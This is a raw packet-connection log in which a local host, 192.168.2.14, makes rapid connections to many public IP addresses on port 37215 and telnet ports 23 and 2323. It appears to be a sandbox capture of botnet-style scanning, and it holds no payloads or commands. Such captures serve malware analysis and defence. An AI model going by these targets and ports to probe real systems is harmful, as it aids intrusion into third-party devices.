Aug 6, 2024 08:32:57.833122015 CEST	60530	37215	192.168.2.14	197.52.174.50
Aug 6, 2024 08:32:57.833131075 CEST	32984	37215	192.168.2.14	197.198.169.113
Aug 6, 2024 08:32:57.833137989 CEST	43498	37215	192.168.2.14	41.158.83.113
Aug 6, 2024 08:32:57.833138943 CEST	23	61398	136.44.33.2	192.168.2.14
Aug 6, 2024 08:32:57.833149910 CEST	23	61398	189.216.83.231	192.168.2.14
Aug 6, 2024 08:32:57.833156109 CEST	48858	37215	192.168.2.14	197.194.34.222
Aug 6, 2024 08:32:57.833167076 CEST	23	61398	208.108.171.9	192.168.2.14
Aug 6, 2024 08:32:57.833168983 CEST	53150	37215	192.168.2.14	156.196.237.33
Aug 6, 2024 08:32:57.833175898 CEST	23	61398	69.71.58.244	192.168.2.14
Aug 6, 2024 08:32:57.833182096 CEST	61398	23	192.168.2.14	189.216.83.231
Aug 6, 2024 08:32:57.833183050 CEST	61398	23	192.168.2.14	136.44.33.2
Aug 6, 2024 08:32:57.833184958 CEST	37215	60396	156.255.113.130	192.168.2.14
Aug 6, 2024 08:32:57.833188057 CEST	40218	37215	192.168.2.14	41.225.151.149
Aug 6, 2024 08:32:57.833194971 CEST	37215	61142	197.135.201.145	192.168.2.14
Aug 6, 2024 08:32:57.833203077 CEST	61398	23	192.168.2.14	208.108.171.9
Aug 6, 2024 08:32:57.833203077 CEST	54878	37215	192.168.2.14	41.84.239.116
Aug 6, 2024 08:32:57.833204985 CEST	37215	61142	156.192.207.138	192.168.2.14
Aug 6, 2024 08:32:57.833208084 CEST	61398	23	192.168.2.14	69.71.58.244
Aug 6, 2024 08:32:57.833213091 CEST	60396	37215	192.168.2.14	156.255.113.130
Aug 6, 2024 08:32:57.833214045 CEST	57036	37215	192.168.2.14	197.125.78.47
Aug 6, 2024 08:32:57.833214998 CEST	2323	61398	182.48.216.74	192.168.2.14
Aug 6, 2024 08:32:57.833223104 CEST	61142	37215	192.168.2.14	197.135.201.145
Aug 6, 2024 08:32:57.833223104 CEST	39722	37215	192.168.2.14	41.9.222.229
Aug 6, 2024 08:32:57.833225965 CEST	23	61398	73.31.165.80	192.168.2.14
Aug 6, 2024 08:32:57.833229065 CEST	49902	37215	192.168.2.14	156.177.204.221
Aug 6, 2024 08:32:57.833235979 CEST	61142	37215	192.168.2.14	156.192.207.138
Aug 6, 2024 08:32:57.833240032 CEST	61398	2323	192.168.2.14	182.48.216.74
Aug 6, 2024 08:32:57.833240032 CEST	46640	37215	192.168.2.14	197.214.35.214
Aug 6, 2024 08:32:57.833240986 CEST	23	61398	210.42.167.202	192.168.2.14
Aug 6, 2024 08:32:57.833250046 CEST	2323	61398	106.45.237.134	192.168.2.14
Aug 6, 2024 08:32:57.833259106 CEST	44336	37215	192.168.2.14	156.216.133.161
Aug 6, 2024 08:32:57.833259106 CEST	37215	61142	41.22.10.251	192.168.2.14
Aug 6, 2024 08:32:57.833261967 CEST	61398	23	192.168.2.14	73.31.165.80
Aug 6, 2024 08:32:57.833267927 CEST	23	61398	178.106.65.144	192.168.2.14
Aug 6, 2024 08:32:57.833275080 CEST	61398	2323	192.168.2.14	106.45.237.134
Aug 6, 2024 08:32:57.833276987 CEST	61398	23	192.168.2.14	210.42.167.202
Aug 6, 2024 08:32:57.833277941 CEST	56894	37215	192.168.2.14	41.75.95.48
Aug 6, 2024 08:32:57.833277941 CEST	40960	37215	192.168.2.14	197.158.198.40
Aug 6, 2024 08:32:57.833280087 CEST	23	61398	138.63.228.107	192.168.2.14
Aug 6, 2024 08:32:57.833291054 CEST	37215	61142	156.213.21.174	192.168.2.14
Aug 6, 2024 08:32:57.833301067 CEST	61398	23	192.168.2.14	178.106.65.144
Aug 6, 2024 08:32:57.833306074 CEST	61142	37215	192.168.2.14	41.22.10.251
Aug 6, 2024 08:32:57.833306074 CEST	60224	37215	192.168.2.14	197.112.240.90
Aug 6, 2024 08:32:57.833306074 CEST	52882	37215	192.168.2.14	41.207.104.124
Aug 6, 2024 08:32:57.833308935 CEST	61398	23	192.168.2.14	138.63.228.107
Aug 6, 2024 08:32:57.833311081 CEST	23	61398	81.106.108.143	192.168.2.14
Aug 6, 2024 08:32:57.833317995 CEST	46410	37215	192.168.2.14	41.67.69.204
Aug 6, 2024 08:32:57.833319902 CEST	23	61398	166.78.3.109	192.168.2.14
Aug 6, 2024 08:32:57.833328962 CEST	37215	61142	41.243.106.194	192.168.2.14
Aug 6, 2024 08:32:57.833339930 CEST	34774	37215	192.168.2.14	156.124.36.83
Aug 6, 2024 08:32:57.833342075 CEST	61142	37215	192.168.2.14	156.213.21.174
Aug 6, 2024 08:32:57.833343983 CEST	23	61398	128.187.80.8	192.168.2.14
Aug 6, 2024 08:32:57.833353043 CEST	44062	37215	192.168.2.14	41.241.250.246
Aug 6, 2024 08:32:57.833353996 CEST	23	61398	87.220.2.231	192.168.2.14
Aug 6, 2024 08:32:57.833355904 CEST	61398	23	192.168.2.14	81.106.108.143
Aug 6, 2024 08:32:57.833363056 CEST	37215	61142	197.4.85.253	192.168.2.14
Aug 6, 2024 08:32:57.833362103 CEST	61142	37215	192.168.2.14	41.243.106.194
Aug 6, 2024 08:32:57.833364010 CEST	61398	23	192.168.2.14	166.78.3.109
Aug 6, 2024 08:32:57.833373070 CEST	23	61398	63.244.107.157	192.168.2.14
Aug 6, 2024 08:32:57.833383083 CEST	37215	52772	41.146.232.115	192.168.2.14
Aug 6, 2024 08:32:57.833389997 CEST	23	61398	68.244.207.12	192.168.2.14
Aug 6, 2024 08:32:57.833400011 CEST	37215	61142	197.30.136.119	192.168.2.14
Aug 6, 2024 08:32:57.833408117 CEST	37215	61142	156.168.2.129	192.168.2.14
Aug 6, 2024 08:32:57.833414078 CEST	56328	37215	192.168.2.14	41.214.215.249
Aug 6, 2024 08:32:57.833415031 CEST	23	61398	119.198.37.2	192.168.2.14
Aug 6, 2024 08:32:57.833420038 CEST	37215	61142	197.25.36.107	192.168.2.14
Aug 6, 2024 08:32:57.833424091 CEST	23	61398	2.30.247.57	192.168.2.14
Aug 6, 2024 08:32:57.833427906 CEST	37215	45960	197.28.1.133	192.168.2.14
Aug 6, 2024 08:32:57.833430052 CEST	51906	37215	192.168.2.14	156.215.168.4
Aug 6, 2024 08:32:57.833430052 CEST	61398	23	192.168.2.14	128.187.80.8
Aug 6, 2024 08:32:57.833431005 CEST	61398	23	192.168.2.14	87.220.2.231
Aug 6, 2024 08:32:57.833431005 CEST	37215	61142	156.169.36.33	192.168.2.14
Aug 6, 2024 08:32:57.833431959 CEST	50936	37215	192.168.2.14	41.2.95.20
Aug 6, 2024 08:32:57.833435059 CEST	61398	23	192.168.2.14	63.244.107.157
Aug 6, 2024 08:32:57.833436012 CEST	23	61398	198.209.118.114	192.168.2.14
Aug 6, 2024 08:32:57.833440065 CEST	23	61398	4.124.190.44	192.168.2.14
Aug 6, 2024 08:32:57.833442926 CEST	36340	37215	192.168.2.14	41.96.92.153
Aug 6, 2024 08:32:57.833453894 CEST	61142	37215	192.168.2.14	197.4.85.253
Aug 6, 2024 08:32:57.833457947 CEST	23	61398	211.31.45.74	192.168.2.14
Aug 6, 2024 08:32:57.833462000 CEST	37215	52702	197.228.21.108	192.168.2.14
Aug 6, 2024 08:32:57.833467007 CEST	23	61398	216.212.162.185	192.168.2.14
Aug 6, 2024 08:32:57.833470106 CEST	23	61398	185.114.170.139	192.168.2.14
Aug 6, 2024 08:32:57.833473921 CEST	37215	61142	41.136.180.243	192.168.2.14
Aug 6, 2024 08:32:57.833477974 CEST	37215	61142	156.207.254.171	192.168.2.14
Aug 6, 2024 08:32:57.833482027 CEST	37215	56898	41.247.44.228	192.168.2.14
Aug 6, 2024 08:32:57.833484888 CEST	37215	61142	197.42.186.47	192.168.2.14
Aug 6, 2024 08:32:57.833489895 CEST	37215	61142	197.126.162.69	192.168.2.14
Aug 6, 2024 08:32:57.833493948 CEST	23	61398	191.149.22.93	192.168.2.14
Aug 6, 2024 08:32:57.833497047 CEST	37215	34534	156.51.145.41	192.168.2.14
Aug 6, 2024 08:32:57.833497047 CEST	52772	37215	192.168.2.14	41.146.232.115
Aug 6, 2024 08:32:57.833499908 CEST	43792	37215	192.168.2.14	197.220.115.179
Aug 6, 2024 08:32:57.833501101 CEST	23	61398	187.62.107.115	192.168.2.14
Aug 6, 2024 08:32:57.833499908 CEST	53818	37215	192.168.2.14	41.217.74.217
Aug 6, 2024 08:32:57.833502054 CEST	61398	23	192.168.2.14	68.244.207.12
Aug 6, 2024 08:32:57.833502054 CEST	47466	37215	192.168.2.14	156.241.3.212
Aug 6, 2024 08:32:57.833506107 CEST	23	61398	212.214.49.95	192.168.2.14
Aug 6, 2024 08:32:57.833508015 CEST	45850	37215	192.168.2.14	197.145.206.32
Aug 6, 2024 08:32:57.833509922 CEST	57564	37215	192.168.2.14	197.232.216.53
Aug 6, 2024 08:32:57.833512068 CEST	23	61398	151.151.204.231	192.168.2.14
Aug 6, 2024 08:32:57.833515882 CEST	40780	37215	192.168.2.14	41.65.44.253
Aug 6, 2024 08:32:57.833517075 CEST	37215	61142	156.213.48.72	192.168.2.14
Aug 6, 2024 08:32:57.833524942 CEST	36364	37215	192.168.2.14	197.22.69.25
Aug 6, 2024 08:32:57.833528996 CEST	2323	61398	136.49.149.158	192.168.2.14
Aug 6, 2024 08:32:57.833533049 CEST	37215	61142	156.55.98.88	192.168.2.14
Aug 6, 2024 08:32:57.833537102 CEST	23	61398	153.21.116.215	192.168.2.14
Aug 6, 2024 08:32:57.833539963 CEST	23	61398	8.210.37.30	192.168.2.14
Aug 6, 2024 08:32:57.833542109 CEST	55848	37215	192.168.2.14	156.118.71.208
Aug 6, 2024 08:32:57.833544016 CEST	37215	61142	197.39.213.224	192.168.2.14
Aug 6, 2024 08:32:57.833547115 CEST	2323	61398	178.57.18.230	192.168.2.14
Aug 6, 2024 08:32:57.833559036 CEST	61142	37215	192.168.2.14	156.168.2.129
Aug 6, 2024 08:32:57.833561897 CEST	61398	23	192.168.2.14	2.30.247.57
Aug 6, 2024 08:32:57.833564043 CEST	39140	37215	192.168.2.14	41.136.242.8
Aug 6, 2024 08:32:57.833564043 CEST	61142	37215	192.168.2.14	197.25.36.107
Aug 6, 2024 08:32:57.833565950 CEST	37464	37215	192.168.2.14	156.10.5.237
Aug 6, 2024 08:32:57.833601952 CEST	52844	37215	192.168.2.14	41.219.94.196
Aug 6, 2024 08:32:57.833611012 CEST	45960	37215	192.168.2.14	197.28.1.133
Aug 6, 2024 08:32:57.833611012 CEST	56898	37215	192.168.2.14	41.247.44.228
Aug 6, 2024 08:32:57.833611965 CEST	61142	37215	192.168.2.14	197.42.186.47
Aug 6, 2024 08:32:57.833611965 CEST	61398	23	192.168.2.14	191.149.22.93
Aug 6, 2024 08:32:57.833612919 CEST	61398	23	192.168.2.14	198.209.118.114
Aug 6, 2024 08:32:57.833612919 CEST	61142	37215	192.168.2.14	41.136.180.243
Aug 6, 2024 08:32:57.833619118 CEST	61398	23	192.168.2.14	4.124.190.44
Aug 6, 2024 08:32:57.833619118 CEST	39934	37215	192.168.2.14	197.253.137.119
Aug 6, 2024 08:32:57.833631039 CEST	61398	23	192.168.2.14	187.62.107.115
Aug 6, 2024 08:32:57.833641052 CEST	61142	37215	192.168.2.14	197.39.213.224
Aug 6, 2024 08:32:57.833641052 CEST	61398	23	192.168.2.14	151.151.204.231
Aug 6, 2024 08:32:57.833642006 CEST	35508	37215	192.168.2.14	41.123.254.171
Aug 6, 2024 08:32:57.833641052 CEST	61398	23	192.168.2.14	153.21.116.215
Aug 6, 2024 08:32:57.833641052 CEST	61398	2323	192.168.2.14	178.57.18.230
Aug 6, 2024 08:32:57.833647013 CEST	39540	37215	192.168.2.14	197.26.78.192
Aug 6, 2024 08:32:57.833647966 CEST	61398	23	192.168.2.14	8.210.37.30
Aug 6, 2024 08:32:57.833653927 CEST	39872	37215	192.168.2.14	156.151.233.217
Aug 6, 2024 08:32:57.833655119 CEST	48444	37215	192.168.2.14	197.0.151.175
Aug 6, 2024 08:32:57.833655119 CEST	61142	37215	192.168.2.14	156.207.254.171
Aug 6, 2024 08:32:57.833655119 CEST	61142	37215	192.168.2.14	156.169.36.33
Aug 6, 2024 08:32:57.833655119 CEST	61142	37215	192.168.2.14	197.126.162.69
Aug 6, 2024 08:32:57.833655119 CEST	61142	37215	192.168.2.14	156.213.48.72
Aug 6, 2024 08:32:57.833657026 CEST	34534	37215	192.168.2.14	156.51.145.41
Aug 6, 2024 08:32:57.833666086 CEST	61398	23	192.168.2.14	211.31.45.74
Aug 6, 2024 08:32:57.833671093 CEST	61398	23	192.168.2.14	185.114.170.139
Aug 6, 2024 08:32:57.833671093 CEST	61398	2323	192.168.2.14	136.49.149.158
Aug 6, 2024 08:32:57.833676100 CEST	61398	23	192.168.2.14	216.212.162.185
Aug 6, 2024 08:32:57.833679914 CEST	61142	37215	192.168.2.14	197.30.136.119
Aug 6, 2024 08:32:57.833679914 CEST	52702	37215	192.168.2.14	197.228.21.108
Aug 6, 2024 08:32:57.833683968 CEST	61398	23	192.168.2.14	119.198.37.2
Aug 6, 2024 08:32:57.833683968 CEST	61398	23	192.168.2.14	212.214.49.95
Aug 6, 2024 08:32:57.833683968 CEST	61142	37215	192.168.2.14	156.55.98.88
Aug 6, 2024 08:32:57.833684921 CEST	41842	37215	192.168.2.14	197.91.92.162
Aug 6, 2024 08:32:57.833692074 CEST	51952	37215	192.168.2.14	41.146.250.201
Aug 6, 2024 08:32:57.833743095 CEST	23	61398	54.7.204.239	192.168.2.14
Aug 6, 2024 08:32:57.833754063 CEST	37215	61142	41.199.94.80	192.168.2.14
Aug 6, 2024 08:32:57.833758116 CEST	53436	37215	192.168.2.14	197.90.150.199
Aug 6, 2024 08:32:57.833758116 CEST	53436	37215	192.168.2.14	197.90.150.199
Aug 6, 2024 08:32:57.833761930 CEST	23	61398	23.68.59.168	192.168.2.14
Aug 6, 2024 08:32:57.833765984 CEST	37215	61142	197.88.121.9	192.168.2.14
Aug 6, 2024 08:32:57.833775997 CEST	61398	23	192.168.2.14	54.7.204.239
Aug 6, 2024 08:32:57.833775997 CEST	37215	61142	156.226.249.229	192.168.2.14
Aug 6, 2024 08:32:57.833786964 CEST	53928	37215	192.168.2.14	197.90.150.199
Aug 6, 2024 08:32:57.833796978 CEST	61398	23	192.168.2.14	23.68.59.168
Aug 6, 2024 08:32:57.833796978 CEST	61142	37215	192.168.2.14	41.199.94.80
Aug 6, 2024 08:32:57.833801985 CEST	61142	37215	192.168.2.14	197.88.121.9
Aug 6, 2024 08:32:57.833812952 CEST	61142	37215	192.168.2.14	156.226.249.229
Aug 6, 2024 08:32:57.833831072 CEST	41816	37215	192.168.2.14	41.229.93.116
Aug 6, 2024 08:32:57.833831072 CEST	41816	37215	192.168.2.14	41.229.93.116
Aug 6, 2024 08:32:57.833848000 CEST	42322	37215	192.168.2.14	41.229.93.116
Aug 6, 2024 08:32:57.833859921 CEST	33714	37215	192.168.2.14	197.14.35.101
Aug 6, 2024 08:32:57.833859921 CEST	33714	37215	192.168.2.14	197.14.35.101
Aug 6, 2024 08:32:57.833884001 CEST	34218	37215	192.168.2.14	197.14.35.101
Aug 6, 2024 08:32:57.833894968 CEST	58932	37215	192.168.2.14	197.42.1.152
Aug 6, 2024 08:32:57.833894968 CEST	58932	37215	192.168.2.14	197.42.1.152
Aug 6, 2024 08:32:57.833895922 CEST	23	61398	157.8.155.198	192.168.2.14
Aug 6, 2024 08:32:57.833906889 CEST	37215	61142	197.14.65.126	192.168.2.14
Aug 6, 2024 08:32:57.833911896 CEST	59422	37215	192.168.2.14	197.42.1.152
Aug 6, 2024 08:32:57.833919048 CEST	37215	46520	41.138.212.138	192.168.2.14
Aug 6, 2024 08:32:57.833928108 CEST	46704	37215	192.168.2.14	156.20.59.113
Aug 6, 2024 08:32:57.833928108 CEST	61398	23	192.168.2.14	157.8.155.198
Aug 6, 2024 08:32:57.833928108 CEST	46704	37215	192.168.2.14	156.20.59.113
Aug 6, 2024 08:32:57.833929062 CEST	37215	61142	197.213.203.200	192.168.2.14
Aug 6, 2024 08:32:57.833939075 CEST	37215	34850	197.216.33.121	192.168.2.14
Aug 6, 2024 08:32:57.833947897 CEST	23	61398	58.188.64.252	192.168.2.14
Aug 6, 2024 08:32:57.833947897 CEST	47186	37215	192.168.2.14	156.20.59.113
Aug 6, 2024 08:32:57.833957911 CEST	45330	37215	192.168.2.14	41.218.183.57
Aug 6, 2024 08:32:57.833957911 CEST	23	61398	163.230.27.92	192.168.2.14
Aug 6, 2024 08:32:57.833959103 CEST	46520	37215	192.168.2.14	41.138.212.138
Aug 6, 2024 08:32:57.833961964 CEST	61142	37215	192.168.2.14	197.14.65.126
Aug 6, 2024 08:32:57.833967924 CEST	37215	58684	156.243.120.101	192.168.2.14
Aug 6, 2024 08:32:57.833971024 CEST	34850	37215	192.168.2.14	197.216.33.121
Aug 6, 2024 08:32:57.833971024 CEST	45330	37215	192.168.2.14	41.218.183.57
Aug 6, 2024 08:32:57.833971977 CEST	60396	37215	192.168.2.14	156.255.113.130
Aug 6, 2024 08:32:57.833977938 CEST	23	61398	54.145.7.223	192.168.2.14
Aug 6, 2024 08:32:57.833981037 CEST	61142	37215	192.168.2.14	197.213.203.200
Aug 6, 2024 08:32:57.833981991 CEST	61398	23	192.168.2.14	58.188.64.252
Aug 6, 2024 08:32:57.833982944 CEST	60396	37215	192.168.2.14	156.255.113.130
Aug 6, 2024 08:32:57.833981037 CEST	45798	37215	192.168.2.14	41.218.183.57
Aug 6, 2024 08:32:57.833991051 CEST	61398	23	192.168.2.14	163.230.27.92
Aug 6, 2024 08:32:57.833992004 CEST	37215	42098	41.156.102.139	192.168.2.14
Aug 6, 2024 08:32:57.833998919 CEST	58684	37215	192.168.2.14	156.243.120.101
Aug 6, 2024 08:32:57.834002972 CEST	23	61398	158.76.159.55	192.168.2.14
Aug 6, 2024 08:32:57.834007978 CEST	61398	23	192.168.2.14	54.145.7.223
Aug 6, 2024 08:32:57.834011078 CEST	60858	37215	192.168.2.14	156.255.113.130
Aug 6, 2024 08:32:57.834012985 CEST	23	61398	205.189.24.223	192.168.2.14
Aug 6, 2024 08:32:57.834022045 CEST	37215	61142	197.245.222.173	192.168.2.14
Aug 6, 2024 08:32:57.834026098 CEST	23	61398	217.20.193.33	192.168.2.14
Aug 6, 2024 08:32:57.834028006 CEST	52772	37215	192.168.2.14	41.146.232.115
Aug 6, 2024 08:32:57.834029913 CEST	23	61398	131.140.209.24	192.168.2.14
Aug 6, 2024 08:32:57.834029913 CEST	42098	37215	192.168.2.14	41.156.102.139
Aug 6, 2024 08:32:57.834036112 CEST	23	61398	76.165.227.72	192.168.2.14
Aug 6, 2024 08:32:57.834039927 CEST	23	61398	51.61.59.249	192.168.2.14
Aug 6, 2024 08:32:57.834043980 CEST	52772	37215	192.168.2.14	41.146.232.115
Aug 6, 2024 08:32:57.834043980 CEST	37215	50446	197.130.113.46	192.168.2.14
Aug 6, 2024 08:32:57.834048033 CEST	2323	61398	143.242.146.83	192.168.2.14
Aug 6, 2024 08:32:57.834052086 CEST	37215	33838	197.173.7.129	192.168.2.14
Aug 6, 2024 08:32:57.834060907 CEST	37215	57494	197.132.154.218	192.168.2.14
Aug 6, 2024 08:32:57.834108114 CEST	52702	37215	192.168.2.14	197.228.21.108
Aug 6, 2024 08:32:57.834108114 CEST	52702	37215	192.168.2.14	197.228.21.108
Aug 6, 2024 08:32:57.834110022 CEST	53234	37215	192.168.2.14	41.146.232.115
Aug 6, 2024 08:32:57.834111929 CEST	61398	23	192.168.2.14	158.76.159.55
Aug 6, 2024 08:32:57.834150076 CEST	53156	37215	192.168.2.14	197.228.21.108
Aug 6, 2024 08:32:57.834150076 CEST	45960	37215	192.168.2.14	197.28.1.133
Aug 6, 2024 08:32:57.834150076 CEST	45960	37215	192.168.2.14	197.28.1.133
Aug 6, 2024 08:32:57.834171057 CEST	56898	37215	192.168.2.14	41.247.44.228
Aug 6, 2024 08:32:57.834172010 CEST	46414	37215	192.168.2.14	197.28.1.133
Aug 6, 2024 08:32:57.834171057 CEST	56898	37215	192.168.2.14	41.247.44.228
Aug 6, 2024 08:32:57.834172010 CEST	57348	37215	192.168.2.14	41.247.44.228
Aug 6, 2024 08:32:57.834172010 CEST	34534	37215	192.168.2.14	156.51.145.41
Aug 6, 2024 08:32:57.834176064 CEST	61398	23	192.168.2.14	51.61.59.249
Aug 6, 2024 08:32:57.834202051 CEST	61398	23	192.168.2.14	76.165.227.72
Aug 6, 2024 08:32:57.834202051 CEST	33838	37215	192.168.2.14	197.173.7.129
Aug 6, 2024 08:32:57.834207058 CEST	50446	37215	192.168.2.14	197.130.113.46
Aug 6, 2024 08:32:57.834207058 CEST	61142	37215	192.168.2.14	197.245.222.173
Aug 6, 2024 08:32:57.834207058 CEST	61398	23	192.168.2.14	131.140.209.24
Aug 6, 2024 08:32:57.834214926 CEST	34534	37215	192.168.2.14	156.51.145.41
Aug 6, 2024 08:32:57.834216118 CEST	34984	37215	192.168.2.14	156.51.145.41
Aug 6, 2024 08:32:57.834224939 CEST	61398	2323	192.168.2.14	143.242.146.83
Aug 6, 2024 08:32:57.834224939 CEST	61398	23	192.168.2.14	217.20.193.33
Aug 6, 2024 08:32:57.834228039 CEST	57494	37215	192.168.2.14	197.132.154.218
Aug 6, 2024 08:32:57.834228992 CEST	61398	23	192.168.2.14	205.189.24.223
Aug 6, 2024 08:32:57.834244013 CEST	37215	46642	156.137.142.77	192.168.2.14
Aug 6, 2024 08:32:57.834254980 CEST	37215	36186	156.224.13.65	192.168.2.14
Aug 6, 2024 08:32:57.834264040 CEST	37215	46592	41.170.201.4	192.168.2.14
Aug 6, 2024 08:32:57.834274054 CEST	23	61398	36.216.48.1	192.168.2.14
Aug 6, 2024 08:32:57.834279060 CEST	58684	37215	192.168.2.14	156.243.120.101
Aug 6, 2024 08:32:57.834279060 CEST	58684	37215	192.168.2.14	156.243.120.101
Aug 6, 2024 08:32:57.834291935 CEST	37215	49708	156.134.51.115	192.168.2.14
Aug 6, 2024 08:32:57.834301949 CEST	23	61398	154.203.13.98	192.168.2.14
Aug 6, 2024 08:32:57.834311008 CEST	37215	37194	156.48.101.240	192.168.2.14
Aug 6, 2024 08:32:57.834323883 CEST	34372	37215	192.168.2.14	197.173.7.129
Aug 6, 2024 08:32:57.834331989 CEST	23	61398	9.223.252.241	192.168.2.14
Aug 6, 2024 08:32:57.834333897 CEST	33838	37215	192.168.2.14	197.173.7.129
Aug 6, 2024 08:32:57.834333897 CEST	33838	37215	192.168.2.14	197.173.7.129
Aug 6, 2024 08:32:57.834333897 CEST	36186	37215	192.168.2.14	156.224.13.65
Aug 6, 2024 08:32:57.834336996 CEST	59220	37215	192.168.2.14	156.243.120.101
Aug 6, 2024 08:32:57.834336996 CEST	46642	37215	192.168.2.14	156.137.142.77
Aug 6, 2024 08:32:57.834336996 CEST	46592	37215	192.168.2.14	41.170.201.4
Aug 6, 2024 08:32:57.834343910 CEST	37215	36250	41.154.221.237	192.168.2.14
Aug 6, 2024 08:32:57.834347010 CEST	50446	37215	192.168.2.14	197.130.113.46
Aug 6, 2024 08:32:57.834347010 CEST	50446	37215	192.168.2.14	197.130.113.46
Aug 6, 2024 08:32:57.834347010 CEST	49708	37215	192.168.2.14	156.134.51.115
Aug 6, 2024 08:32:57.834355116 CEST	37215	39840	197.219.157.185	192.168.2.14
Aug 6, 2024 08:32:57.834373951 CEST	23	61398	111.252.65.25	192.168.2.14
Aug 6, 2024 08:32:57.834377050 CEST	61398	23	192.168.2.14	154.203.13.98
Aug 6, 2024 08:32:57.834384918 CEST	47040	37215	192.168.2.14	41.138.212.138
Aug 6, 2024 08:32:57.834388018 CEST	61398	23	192.168.2.14	36.216.48.1
Aug 6, 2024 08:32:57.834388018 CEST	46520	37215	192.168.2.14	41.138.212.138
Aug 6, 2024 08:32:57.834388018 CEST	37215	44544	197.157.57.38	192.168.2.14
Aug 6, 2024 08:32:57.834388018 CEST	46520	37215	192.168.2.14	41.138.212.138
Aug 6, 2024 08:32:57.834392071 CEST	50976	37215	192.168.2.14	197.130.113.46
Aug 6, 2024 08:32:57.834394932 CEST	58014	37215	192.168.2.14	197.132.154.218
Aug 6, 2024 08:32:57.834398985 CEST	37194	37215	192.168.2.14	156.48.101.240
Aug 6, 2024 08:32:57.834398985 CEST	57494	37215	192.168.2.14	197.132.154.218
Aug 6, 2024 08:32:57.834398985 CEST	57494	37215	192.168.2.14	197.132.154.218
Aug 6, 2024 08:32:57.834398985 CEST	36250	37215	192.168.2.14	41.154.221.237
Aug 6, 2024 08:32:57.834409952 CEST	37215	47072	41.38.168.255	192.168.2.14
Aug 6, 2024 08:32:57.834419012 CEST	23	61398	83.244.112.165	192.168.2.14
Aug 6, 2024 08:32:57.834423065 CEST	23	61398	81.254.41.170	192.168.2.14
Aug 6, 2024 08:32:57.834425926 CEST	61398	23	192.168.2.14	9.223.252.241
Aug 6, 2024 08:32:57.834427118 CEST	37215	61142	156.70.9.10	192.168.2.14
Aug 6, 2024 08:32:57.834429979 CEST	39840	37215	192.168.2.14	197.219.157.185
Aug 6, 2024 08:32:57.834431887 CEST	37215	54040	41.212.248.151	192.168.2.14
Aug 6, 2024 08:32:57.834433079 CEST	34850	37215	192.168.2.14	197.216.33.121
Aug 6, 2024 08:32:57.834433079 CEST	34850	37215	192.168.2.14	197.216.33.121
Aug 6, 2024 08:32:57.834433079 CEST	44544	37215	192.168.2.14	197.157.57.38
Aug 6, 2024 08:32:57.834439039 CEST	61398	23	192.168.2.14	111.252.65.25
Aug 6, 2024 08:32:57.834441900 CEST	37215	61142	156.231.173.120	192.168.2.14
Aug 6, 2024 08:32:57.834451914 CEST	35352	37215	192.168.2.14	197.216.33.121
Aug 6, 2024 08:32:57.834451914 CEST	42098	37215	192.168.2.14	41.156.102.139
Aug 6, 2024 08:32:57.834454060 CEST	37215	38808	156.5.79.218	192.168.2.14
Aug 6, 2024 08:32:57.834458113 CEST	61398	23	192.168.2.14	83.244.112.165
Aug 6, 2024 08:32:57.834464073 CEST	42098	37215	192.168.2.14	41.156.102.139
Aug 6, 2024 08:32:57.834464073 CEST	37215	61142	41.176.151.175	192.168.2.14
Aug 6, 2024 08:32:57.834470034 CEST	42596	37215	192.168.2.14	41.156.102.139
Aug 6, 2024 08:32:57.834470987 CEST	61142	37215	192.168.2.14	156.70.9.10
Aug 6, 2024 08:32:57.834470034 CEST	54040	37215	192.168.2.14	41.212.248.151
Aug 6, 2024 08:32:57.834471941 CEST	61398	23	192.168.2.14	81.254.41.170
Aug 6, 2024 08:32:57.834475994 CEST	37215	45026	156.49.6.9	192.168.2.14
Aug 6, 2024 08:32:57.834481001 CEST	38808	37215	192.168.2.14	156.5.79.218
Aug 6, 2024 08:32:57.834486008 CEST	2323	61398	76.151.159.88	192.168.2.14
Aug 6, 2024 08:32:57.834491014 CEST	37215	42160	197.76.241.245	192.168.2.14
Aug 6, 2024 08:32:57.834500074 CEST	61142	37215	192.168.2.14	41.176.151.175
Aug 6, 2024 08:32:57.834502935 CEST	47072	37215	192.168.2.14	41.38.168.255
Aug 6, 2024 08:32:57.834507942 CEST	45026	37215	192.168.2.14	156.49.6.9
Aug 6, 2024 08:32:57.834508896 CEST	61398	2323	192.168.2.14	76.151.159.88
Aug 6, 2024 08:32:57.834510088 CEST	37215	39766	41.87.34.185	192.168.2.14
Aug 6, 2024 08:32:57.834510088 CEST	61142	37215	192.168.2.14	156.231.173.120
Aug 6, 2024 08:32:57.834515095 CEST	42160	37215	192.168.2.14	197.76.241.245
Aug 6, 2024 08:32:57.834522009 CEST	36186	37215	192.168.2.14	156.224.13.65
Aug 6, 2024 08:32:57.834595919 CEST	36706	37215	192.168.2.14	156.224.13.65
Aug 6, 2024 08:32:57.834595919 CEST	36186	37215	192.168.2.14	156.224.13.65
Aug 6, 2024 08:32:57.834595919 CEST	38808	37215	192.168.2.14	156.5.79.218
Aug 6, 2024 08:32:57.834595919 CEST	38808	37215	192.168.2.14	156.5.79.218
Aug 6, 2024 08:32:57.834595919 CEST	39328	37215	192.168.2.14	156.5.79.218
Aug 6, 2024 08:32:57.834615946 CEST	49708	37215	192.168.2.14	156.134.51.115
Aug 6, 2024 08:32:57.834615946 CEST	49708	37215	192.168.2.14	156.134.51.115
Aug 6, 2024 08:32:57.834615946 CEST	50222	37215	192.168.2.14	156.134.51.115
Aug 6, 2024 08:32:57.834636927 CEST	37194	37215	192.168.2.14	156.48.101.240
Aug 6, 2024 08:32:57.834651947 CEST	39766	37215	192.168.2.14	41.87.34.185
Aug 6, 2024 08:32:57.834690094 CEST	37708	37215	192.168.2.14	156.48.101.240
Aug 6, 2024 08:32:57.834690094 CEST	46642	37215	192.168.2.14	156.137.142.77
Aug 6, 2024 08:32:57.834690094 CEST	46642	37215	192.168.2.14	156.137.142.77
Aug 6, 2024 08:32:57.834692001 CEST	37194	37215	192.168.2.14	156.48.101.240
Aug 6, 2024 08:32:57.834754944 CEST	47130	37215	192.168.2.14	156.137.142.77
Aug 6, 2024 08:32:57.834762096 CEST	46592	37215	192.168.2.14	41.170.201.4
Aug 6, 2024 08:32:57.834762096 CEST	46592	37215	192.168.2.14	41.170.201.4
Aug 6, 2024 08:32:57.834764004 CEST	47080	37215	192.168.2.14	41.170.201.4
Aug 6, 2024 08:32:57.834764004 CEST	36250	37215	192.168.2.14	41.154.221.237
Aug 6, 2024 08:32:57.834836960 CEST	36250	37215	192.168.2.14	41.154.221.237
Aug 6, 2024 08:32:57.834852934 CEST	37215	48504	197.241.32.4	192.168.2.14
Aug 6, 2024 08:32:57.834862947 CEST	39840	37215	192.168.2.14	197.219.157.185
